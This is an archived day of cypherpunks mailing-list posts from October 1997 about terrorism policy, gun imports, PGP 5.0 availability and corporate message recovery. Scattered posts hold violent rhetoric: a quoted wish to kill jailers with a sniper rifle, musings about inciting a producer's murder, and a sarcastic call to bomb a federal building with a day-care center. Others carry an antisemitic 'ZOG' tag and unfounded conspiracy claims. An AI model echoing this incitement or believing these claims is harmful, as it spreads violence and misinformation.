The Usual Suspect





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 30 Oct 1997 12:15:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [ZOG] MARXIST COHEN WANTS 'CURTAILED FREEDOM': CALL TO ARMSWANTED
In-Reply-To: <199710300254.DAA16306@basement.replay.com>
Message-ID: <v03102804b07da8389442@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:20 PM -0700 10/29/97, Igor Chudov @ home wrote:

>* Terrorism is escalating to the point that Americans soon may have to choose
>* between civil liberties and more intrusive means of protection. Defense
>* Secretary William S. Cohen says.

And no doubt this means GMR for all crypto.

And if we say "No thanks" to the no-knock searches, the street friskings,
the "Papierren, bitte??" travel restrictions, what then?

Not much of a choice, eh?

The spinmeisters are laying the groundwork for martial law. Just what we've
been hearing about for years.

Get ready.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 30 Oct 1997 08:30:01 +0800
To: cypherpunks@Algebra.COM
Subject: Clinton's Bigger Gun Ban
Message-ID: <WWjzEOw02j8z4uCOXRf5RA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




This is the intro from: http://www.nra.org/pub/ila/1997/97-10-24_faxalert_bigger_gun_ban

                   THE BIGGER CLINTON GUN BAN

     As reported in Wednesday's Special FAX Alert, the Clinton-
Gore Administration is planning to issue a directive to ban
certain types of foreign-made firearms from coming into this
country. We believe the White House will move to stop all
commerce in certain semi-automatic firearms that conform in every
way to the legal requirements set forth in both the Clinton Gun
Ban of 1994 and the 1989 import ban. Sources also suggest that
the directive will order the Bureau of Alcohol, Tobacco, and
Firearms to convene a study group to further narrow the scope of
firearms that qualify for importation under the "sporting
purposes" test. Given past action, a ban on all imported handguns
is not unlikely.

     In response to this directive, Congressman Bob Barr (R-Ga.)
held a press conference on Capitol Hill today with NRA Executive
Vice President Wayne LaPierre, NRA-ILA Executive Director Tanya
K. Metaksa, and other pro-Second Amendment congressmen,
including, Jim Barcia (D-Mich.), Pete Sessions (R-Tex.), Virgil
Goode (D-Va.), and Wes Watkins (R-Okla.)  "The Clinton
Administration is introducing the Bigger Clinton Gun Ban of 1998
- still another prohibition that bans more guns and shows more
hypocrisy than ever before," emphasized Mrs. Metaksa. She added,
"From the White House to Handgun Control, Inc., every gun ban
advocate in America is busy confirming everything NRA has ever
said about the 1994 gun ban." Basically, that it's an ineffective
cosmetic ban and that Clinton's efforts to ban guns in 1994 was
only a precursor to bigger, more restrictive bans.  All NRA
members are encouraged to contact your U.S. Representative at
(202)224-3121, to urge him to oppose the President's attempt to
ban more semi-automatic firearms -- semi-autos that his 1994 ban
previously ok'd!  In the meantime, NRA-ILA will continue to
update our members as we learn more about Clinton's latest attack
on America's law-abiding gun owners.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 30 Oct 1997 11:18:27 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Killing those who need killing
In-Reply-To: <v03102800b07d83cd05bd@[207.167.93.63]>
Message-ID: <199710300311.WAA15200@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800b07d83cd05bd@[207.167.93.63]>, on 10/29/97 
   at 05:25 PM, Tim May <tcmay@got.net> said:

>But then I'm a right wing libertarian whacko.

It's not a matter that you are far right it's just that the rest of the
country are so far left.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Man in the Middle <mitm@dev.null>
Date: Thu, 30 Oct 1997 11:38:27 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Killing those who need killing
In-Reply-To: <199710300311.WAA15200@users.invweb.net>
Message-ID: <3457FF5D.4D56@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III deduced:
> In <v03102800b07d83cd05bd@[207.167.93.63]>, on 10/29/97
>    at 05:25 PM, Tim May <tcmay@got.net> said:
> 
> >But then I'm a right wing libertarian whacko.
> 
> It's not a matter that you are far right it's just that the rest of the
> country are so far left.

>From the objective perspective of "the Shadow's nose," one quickly
learns, from a lifetime spent riding the electronic MTA, that:
"The one on the right is in the middle, the one on the left is on
the right..."

...and the guy posting as Anonymous?
He drives a garbage truck...

Man in the Middle





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 30 Oct 1997 20:03:40 +0800
To: Tim May <tcmay@got.net>
Subject: Terrorism is a NON-THREAT
In-Reply-To: <v03102804b07da8389442@[207.167.93.63]>
Message-ID: <199710301155.GAA20273@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102804b07da8389442@[207.167.93.63]>, on 10/29/97 
   at 08:03 PM, Tim May <tcmay@got.net> said:

>At 8:20 PM -0700 10/29/97, Igor Chudov @ home wrote:

>>* Terrorism is escalating to the point that Americans soon may have to choose
>>* between civil liberties and more intrusive means of protection. Defense
>>* Secretary William S. Cohen says.

>And no doubt this means GMR for all crypto.

>And if we say "No thanks" to the no-knock searches, the street friskings,
>the "Papierren, bitte??" travel restrictions, what then?

>Not much of a choice, eh?

>The spinmeisters are laying the groundwork for martial law. Just what
>we've been hearing about for years.

>Get ready.

Lock-N-Load!!

I wish for once one of the spineless members of the press would ask:

"How many people have died from Terrorism in the last 10yrs?"

Let's be generious and say 10,000 world wide (more like 2,000 but lets not
quibble over numbers).

So we are at 1,000/year world wide. Now only a fraction of those are
actually Americans say 50-100/year.

Now how do they justify the establishment of a police state to save 50-100
lives?!? More Americans die every year from slipping on bars of soap!

Our problem here is not that Assholes are running Washington (Washington
has always been run by assholes) are problem is the Press has turned into
the sphincter of the powers that be.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil Erik <cyber@dis.org>
Date: Thu, 30 Oct 1997 17:06:17 +0800
To: cypherpunks@toad.com
Subject: Crypto FTP for NT?
Message-ID: <199710300852.AAA17812@merde.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




Anyone know of a crypto based FTP for NT?
At this point, freeware, shareware, commercial is fine..
We'd prefer not to have to roll our own..

(Yes, I know about F-Secure's SFTP, but that is still a few months off..)

Thanks,
-=erik.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 30 Oct 1997 08:28:42 +0800
To: cypherpunks@Algebra.COM
Subject: Location of PGP 5.0
Message-ID: <199710300015.BAA22927@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Where can I find a copy of PGP 5.0 which handles this "SHA1" hash extension,
and the new forced incompatabilities? I'm looking for a Linux distribution.
All I've found are Windoze versions, really old betas which break
*everything* which calls PGP from a script or command line, and betas which
have a lame expired timebomb in them. Source is prefered for obvious reasons.

Any ideas? (Yes, I'm in the U.S.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 30 Oct 1997 19:33:20 +0800
To: Brad Dolan <cypherpunks@Algebra.COM
Subject: Re: apropos list talk and our culture
In-Reply-To: <v0310280fb07c3cd80352@[207.167.93.63]>
Message-ID: <3.0.3.32.19971030012222.0070f588@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:38 AM 10/29/1997 -0500, Brad Dolan wrote:
>"Michael Hays" is a new CBS series about a U.S. District Attorney.  Last
>night's episode was about how a radio talk-show host incited a listener
>to kill a BATF agent and was brought to justice.  DA convinced a jury
>that some things were "more important" than the first amendment.

It's nice not to spend my evenings staring at a tube :-)

The radio talk-show host who talked about killing BATF agents
really _did_ deserve to be brought to justice.
No, not the fictional one, and not for that - the real one,
G.Gordon Liddy himself, Watergate Plumber and Republican Henchperson,
the kind of sleazy statist propagandist who'd love to be
putting on a TV show like that if it wasn't about him.*

(Actually he did do some time, and he deserved it.
His fellow conspirator, Chuck Colson, has at least rehabilitated himself.)

[I've been reading Esther Dyson's new book "Release 2.0";
she's got a nice line in there about the Net being a great place for
conspiracy, while television is better for propaganda.]

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Thu, 30 Oct 1997 15:05:06 +0800
To: cypherpunks@cyberpass.net (Cypherpunks)
Subject: Re: Killing those who need killing (fwd)
Message-ID: <199710300656.BAA11573@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



An entity claiming to be wendigo wrote:
>From wendigo Thu Oct 30 01:56:09 1997
Subject: Re: Killing those who need killing
To: tcmay@got.net
Date: Thu, 30 Oct 1997 01:56:09 -0500 (EST)
In-Reply-To: <v03102800b07d83cd05bd@[207.167.93.63]> from "Tim May" at Oct 29, 97 05:25:33 pm
Content-Type: text
Content-Length: 773       

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Tim May wrote:

: 
: (Personally, were I to be arrested and held on such false charges, I'd
: consider it necessary to kill those who illegally held me. Preferably from
: a safe distance, with a sniper rifle. But then I'm a right wing libertarian
: whacko.)

Right wing, left wing, friggin' wingless ... the above comment still 
indicates a sociopath.

Mark

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

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Version: PGP for Personal Privacy 5.0
Charset: noconv

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=24To
-----END PGP SIGNATURE-----


-- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 30 Oct 1997 09:12:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Location of PGP 5.0
In-Reply-To: <199710300015.BAA22927@basement.replay.com>
Message-ID: <Pine.BSF.3.96.971030020623.15837B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 30 Oct 1997, Anonymous wrote:

> 
> Where can I find a copy of PGP 5.0 which handles this "SHA1" hash extension,
> and the new forced incompatabilities? I'm looking for a Linux distribution.
> All I've found are Windoze versions, really old betas which break
> *everything* which calls PGP from a script or command line, and betas which
> have a lame expired timebomb in them. Source is prefered for obvious reasons.

http://www.pgpi.com/

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 30 Oct 1997 19:29:47 +0800
To: Anonymous <cypherpunks@Algebra.COM
Subject: Re: Location of PGP 5.0
In-Reply-To: <199710300015.BAA22927@basement.replay.com>
Message-ID: <3.0.3.32.19971030022512.006f7db0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:15 AM 10/30/1997 +0100, Anonymous wrote:
>Where can I find a copy of PGP 5.0 which handles this "SHA1" hash extension,
>and the new forced incompatabilities? I'm looking for a Linux distribution.
>All I've found are Windoze versions, really old betas which break
>*everything* which calls PGP from a script or command line, and betas which
>have a lame expired timebomb in them. Source is prefered for obvious reasons.

There's a Linux beta on www.pgpi.com which you may or may not
consider to be "really old", and I think I heard there's now
a Linux version on www.pgp.com or mit.edu.
However, it's likely that it will still break command-line
versions that think they know too much about the 2.6.2 output format,
unless the PGP porting folks did a spectacular and annoyingly hard job.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 30 Oct 1997 10:53:24 +0800
To: cypherpunks@toad.com
Subject: Re: apropos list talk and our culture
Message-ID: <vXDDvKcoPRdiXo4TB5Roaw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:
> At 8:06 AM -0700 10/29/1997, Tim May wrote:
> >At 5:38 AM -0700 10/29/97, Brad Dolan wrote:
> >>"Michael Hays" is a new CBS series about a U.S. District Attorney.  Last
> >>night's episode was about how a radio talk-show host incited a listener
> >>to kill a BATF agent and was brought to justice.  DA convinced a jury
> >>that some things were "more important" than the first amendment.
> 
> Wouldn't it be interesting if someone incited a Net listener/reader to kill
> the producer of this "Michael Hays" episode in a "life immitates art"
> situation?

  Has anyone on the list taken the time to estimate the percentage
of TV shows (news/entertainment/etc.) which seem to mostly serve to
help indoctrinate the masses with New World Order Speak?
  e.g. - Surveillance == Security / Police == Protection

VideoCatchingCriminals III (or somesuch), is due out soon. C-16, Jag,
Michael Hayes, Cops, ad infinituum, and not a one of them showing
a citizen with a toilet plunger sticking out of his or her asshole.
Even Jenny Jones, et al, are doing shows where parents video-spy on
the babysitter, husbands video-spy on their wives, etc.

If "Total Surveillance is your Friend!" then why were there no video
cameras in the restroom of the NYC police precinct?

  Cypherpunk Action Project or just my insanity?: Are there any list
members who were kicked out of the US Armed Forces after only one
day and are now full-fledged members of the paramilitary?
  Why don't you go bomb a federal building with a day-care center
in it, and see if the government and media blame it all on the 
US Armed forces?

  You know, kind of a "life imitates fascism" situation.

ImitationMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 30 Oct 1997 19:29:57 +0800
To: shamrock@cypherpunks.to
Subject: Re: PGP Employee on MKR
In-Reply-To: <877948732.5974.193.133.230.33@unicorn.com>
Message-ID: <3.0.3.32.19971030025716.006cdf80@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:38 AM 10/27/1997 -0800, mark@unicorn.com wrote:
>Really? I seem to recall Jon Callas saying my system 'redesigned CMR' 
>but was simpler than theirs. The mere fact that CMR requires an enforcer 
>implies that it's a convoluted and hasty design. 

Not true - you can't implement CMR without a mail enforcer unless
you can stop your employees from using non-CMR versions of PGP,
which is nearly impossible.  Even with an enforcer, of course,
you can't stop the determined employee from double-encrypting and
steganizing and otherwise getting their outbound bits past your enforcer
looking like the baseball game narrative from Wayner's Mimic Functions
or Pointy-Haired-Boss randomness, but they could also carry a floppy disk 
out the door or beam infrared out the window from their Newton.

Similarly, on incoming mail, you can't stop people from sending your
employees non-CMRed mail without an inbound-mail enforcer and
can't stop your employees from reading it with their own warez.

More importantly, though, PGP isn't a mail program, it's an encryptor,
and if you're trying to stop people from sending encrypted mail
back and forth, you've got to control the mail system as well as the
encryptors, and you probably already _do_ control the mail system.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@www.video-collage.com>
Date: Thu, 30 Oct 1997 11:36:30 +0800
To: scrm@www.video-collage.com
Subject: [ZOG] MARXIST COHEN WANTS 'CURTAILED FREEDOM': CALL TO ARMS WANTED
In-Reply-To: <199710300254.DAA16306@basement.replay.com>
Message-ID: <199710300320.DAA15154@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



fyi
igor

Anonymous <nobody@REPLAY.COM> wrote:
*    Defense Chief Says U.S.  Freedom May Have  To Be Curtailed
*    ___________________________________________________________
*    Their inward part is destruction itself. Their throat is an
*    open grave; they flatter with their tongue.
*                                                     Psalms 5:9
*    ___________________________________________________________
* 
* Defense secretary calls for even more preventive measures. 
*                          
* Terrorism is escalating to the point that Americans soon may have to choose
* between civil liberties and more intrusive means of protection. Defense
* Secretary William S. Cohen says. 
*                          
* The nation's defense chief told the Army Times he once considered the
* chilling specter of armored vehicles  surrounding civilian hotels or
* government buildings to block out terrorists as strictly an overseas
* phenomenon. But no longer. 
*                          
* It could happen here, Cohen said he concluded after eight months of studying
* threats under the Pentagon microscope. 
*                          
* Free-lance terrorists with access to deadly chemical and biological bombs
* are "going to change the way in which the American people view security in
* our own country, he predicted in a Sept. 10 interview. 
*                          
* Cohen is calling for the government to step up its efforts to penetrate
* wildcard terrorist organizations. 
*                          
* "It's going to require greater intelligence on our part - much greater
* emphasis on intelligence gathering capability, more human intelligence, and
* it's going to take more technical intelligence," he said. 
*                          
* But using the U.S. military in a domestic law enforcement role would require
* revisions to laws in force for more than a century, cautions Shreveport
* attorney John Odom Jr. "You can't do it from the the Defense Department side
* unless Congress dramatically revises the Posse Comitatus laws," said Odom, a
* colonel in the U.S. Air Force Reserve and a reserve judge advocate. 
*                          
* The 1878 law specifically prohibits the use of the military in domestic law
* enforce- ment unless authorized by Congress or the Constitution and does not
* allow for military intervention through action by the secretary of defense
* or even an executive order from the president, Odom said. 
*                          
* "We're trained from the first day of judge advocate school to think of Posse
* Comitatus !! Odom said. "If Secretary Cohen is suggesting that the
* Department of Defense be involved, it may be part of a legislative package.
* But it will not happen unilaterally without a lot of folks thinking long and
* hard about it." 
*                          
* Cohen said terrorism would be a top priority in five new areas he plans to
* focus on now that he has wrapped up his first defense budget, the
* quadrennial review of the military and a new, four-year defense strategy. 
*                          
* Other goals include modernizing the military, improving troops housing and
* other benefits, streamlining the defense bureaucracy and shaping new
* military relationships and contacts across the globe.
* 
* 
* >From Staff and Wire Reports
* The Times of the Ark-La-Tex
* 15 September 1997
* (Submitted by Danny Cox)
* 
* 


-- 
	- Igor.

The average American spends a total of six (6) months in prison. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 30 Oct 1997 11:13:04 +0800
To: cypherpunks@toad.com
Subject: Re: new intel verification circuit & crypto
Message-ID: <199710300256.DAA16626@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The 'other' Deitweler, Vladimir Z. Nuri wrote:
> John Dvorak has an interesting column in a recent PC
> magazine on the possibility that Intel has created
> some new circuits in its new chips that would allow
> alteration by software. this is to deal with a
> "verification crisis" in which the complexity of
> their large chips is outstripping their ability
> to test for flaws and make them perfect. according to
> Dvorak the scheme would allow Intel to release a
> software program that would actually alter the
> circuitry of the chip.

InfoWarriors around the globe have already been preparing for
'The Son of Clipper' and 'The Daughter of GAK'.

The defenders of Freeh-Dumb know that the key to totalitarian
access to communications/information is to slip in the back
door of new technolgies via those who develop and produce that 
technology.

The anti-trust actions against Intel are for the purpose of
negotiating a foothold in programmable CPU's, etc.
The anti-trust outrage against MicroSoft is meant to be a
million-dollar-a-day punishment for reneging on their deal
to provide GAK hooks in Internet Explorer 4.0.

Look for MS and Intel to string the government along in this
regard, while delaying long enough to let the Y2K problem 
force the government's hand in their desire for total control
of the Information Highway Robbery system.
The battle is for control of the New Electronic Jerusalem.

Sincerely,
Your 'other brother' Deitweler





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Thu, 30 Oct 1997 21:17:43 +0800
To: stewarts@ix.netcom.com
Subject: Re: PGP Employee on MKR
Message-ID: <878217099.27123.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



stewarts@ix.netcom.com wrote:

> Not true - you can't implement CMR without a mail enforcer unless
> you can stop your employees from using non-CMR versions of PGP,
> which is nearly impossible.

No, you can't enforce corporate snooping without a mail enforcer. You can
meet the corporate demands which PGP claim to be supporting without a
mail enforcer. There's a difference.

The only real benefit of CMR over the alternate systems suggested is that
the corporation can snoop on all email sent to their employees. Yet PGP
Inc have claimed on several occasions that this is not their intention.
Odd, that.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 30 Oct 1997 12:38:49 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <199710300431.FAA27663@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Either Klintonkov, the congresscritters, and the directors of everyone's favorite TLAs have *COMPLETELY* lost their marbles, or the word 'constitution' is about to become very un-PC.  Get your plane tickets to countries where sanity still remains (if there are any left) before international air travel is suddenly banned because of 'terrorist threats to national security'.

War is Peace.  Freedom is Slavery.  Surveilance is Security.  I'm from the government and I'm here to help you.

ParanoiaMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 30 Oct 1997 12:55:03 +0800
To: Tim May <tcmay@got.net>
Subject: Re: [ZOG] MARXIST COHEN WANTS 'CURTAILED FREEDOM': CALL TO ARMS WANTED
In-Reply-To: <v03102804b07da8389442@[207.167.93.63]>
Message-ID: <Pine.BSF.3.96.971030053542.16113B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 29 Oct 1997, Tim May wrote:
> 
> And if we say "No thanks" to the no-knock searches, the street friskings,
> the "Papierren, bitte??" travel restrictions, what then?
> 
> Not much of a choice, eh?

No choice at all. My local 7/11 just installed a Verifone Tranz 330 for
the sole purpose of checking the magstripes on the ID's of prospective
alcohol buyers. See, the issue isn't if you are old enough to drink. The
issue is do you have a government license to do so?

Of course the new system will be hacked by enterprising juveniles. Which
will only increase the calls for transponders to be implanted at birth. 

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Thu, 30 Oct 1997 22:00:49 +0800
To: stewarts@ix.netcom.com
Subject: Re: PGP Employee on MKR
Message-ID: <878219801.29664.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



I wrote:

> stewarts@ix.netcom.com wrote:
> 
> > Not true - you can't implement CMR without a mail enforcer unless
> > you can stop your employees from using non-CMR versions of PGP,
> > which is nearly impossible.
> 
> No, you can't enforce corporate snooping without a mail enforcer. You can
> meet the corporate demands which PGP claim to be supporting without a
> mail enforcer. There's a difference.

Actually, that's not entirely true. My suggested CMR replacement will 
work happily with non-CMR versions of PGP; they would simply encrypt to 
the default key, regardless of whether that was a group key or an 
individual's key. Hence the corporation can choose how non-CMR versions 
will interact by choosing whether to make the group key or the individual
key the default choice. This even gives users an incentive to upgrade,
rather than the current disincentive to downgrade to snoopware.

Of course it still doesn't enforce snooping, since you could just
seperate the individual key from the default group key and encrypt to 
that.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 30 Oct 1997 21:22:17 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710301318.HAA17701@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Wed, 29 Oct 97 22:46:45 -0600
> Subject: Terrorism is a NON-THREAT

> I wish for once one of the spineless members of the press would ask:
> 
> "How many people have died from Terrorism in the last 10yrs?"
> 
> Let's be generious and say 10,000 world wide (more like 2,000 but lets not
> quibble over numbers).

Bill, more than 2,000 people have dies from planes being blown up by
terrorist in the last 10 years alone.

Old Prince Ferdinand, you know the bloke whose death started WWI allegedly,
had an attempt on his life the morning of his death via bomb. He shrugged it
off and got shot.

Stalin had millions killed for political reasons.

The Isrealis have killed tens of thousands in their expanionisitic,
non-survivalist motivated actions.

The US backed Central American death squads have killed hundreds of
thousands if not millions.

People kill for religion, politics, insanity, and fun.

Terrorism has a long history in human culture.

Yours is a unreasoned view.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Thu, 30 Oct 1997 15:50:03 +0800
To: Russell Nelson <nelson@crynwr.com>
Subject: Re: Is mixmaster dead?
In-Reply-To: <19971029172357.14375.qmail@desk.crynwr.com>
Message-ID: <Pine.LNX.3.96.971030072414.7999D-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On 29 Oct 1997, Russell Nelson wrote:

> Lance hasn't updated his mixmaster page in over a year.  Is mixmaster
> dead?

On the contrary. http://www.thur.de/ulf/mix has the latest Mixmaster stuff.

dave

--

Today's pseudorandom quote:
I'm on crack!  (http://www.rc5.cyberian.org/ for info.)

David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chief CypherPunks Spokesperson <ccs@dev.null>
Date: Thu, 30 Oct 1997 21:34:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds
In-Reply-To: <199710301317.OAA29530@basement.replay.com>
Message-ID: <34588B26.66C9@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> Adam Back wrote:
> >Kent Crispin <kent@bywater.songbird.com> writes:
> >> On Wed, Oct 29, 1997 at 11:17:43AM +0000, Adam Back wrote:
> >> > The Gandi style walk in, in numbers walk off with Mrs Allen :-)  What are
> >> > they going to do, shoot 1000 unarmed citizens?

> >> The 100 citizens would probably be shot by Mrs Allen.

> >Heh, yeah.  That's why you need to send in the spread spectrum phone
> >first, to let her know what you're planning -- else she'll just think
> >it's a ploy by the Feds.
 
> Perhaps she just wants to be left alone???

"We're from the CypherPunks, and we're here to help you. Aarrrgghhhh..."
<thud>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Thu, 30 Oct 1997 15:50:01 +0800
To: cypherpunks@toad.com
Subject: Re: Location of PGP 5.0
In-Reply-To: <199710300015.BAA22927@basement.replay.com>
Message-ID: <Pine.LNX.3.96.971030072736.7999E-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 30 Oct 1997, Anonymous wrote:

> Where can I find a copy of PGP 5.0 which handles this "SHA1" hash extension,
> and the new forced incompatabilities? I'm looking for a Linux distribution.
> All I've found are Windoze versions, really old betas which break
> *everything* which calls PGP from a script or command line, and betas which
> have a lame expired timebomb in them. Source is prefered for obvious reasons.

The MIT site has a precompiled Linux ELF binary of PGP5. Source is, they say,
coming RSN.

And yes, all versions of PGP5 will, for the time being, break just about all
your old scripts.  Eventually, they'll finish the pgp2 emulator (they claim
it, too, will be out RSN) and most of your old scripts should work again.

dave

--

Today's pseudorandom quote:
Not tonight dear, I installed Linux.

David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 30 Oct 1997 14:42:53 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.5 available outside US
Message-ID: <199710300633.HAA11606@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> It seems that unknown Cypherpunks have yet again shown their disrespect of
> US export laws by exporting the latest version of PGP. The Windows version
> of PGP 5.5 is now available for your downloading pleasure at
> ftp://ftp.replay.com/pub/crypto/incoming/PGP55.zip

No it is not!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Thu, 30 Oct 1997 16:04:01 +0800
To: cypherpunks@Algebra.COM
Subject: PGP 5.0: What were they thinking? (revisited)
Message-ID: <19971030080001.18658.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



>On Thu, 30 Oct 1997, Anonymous wrote:
>
>>
>> Where can I find a copy of PGP 5.0 which handles this "SHA1" hash extension,
>> and the new forced incompatabilities? I'm looking for a Linux distribution.
>> All I've found are Windoze versions, really old betas which break
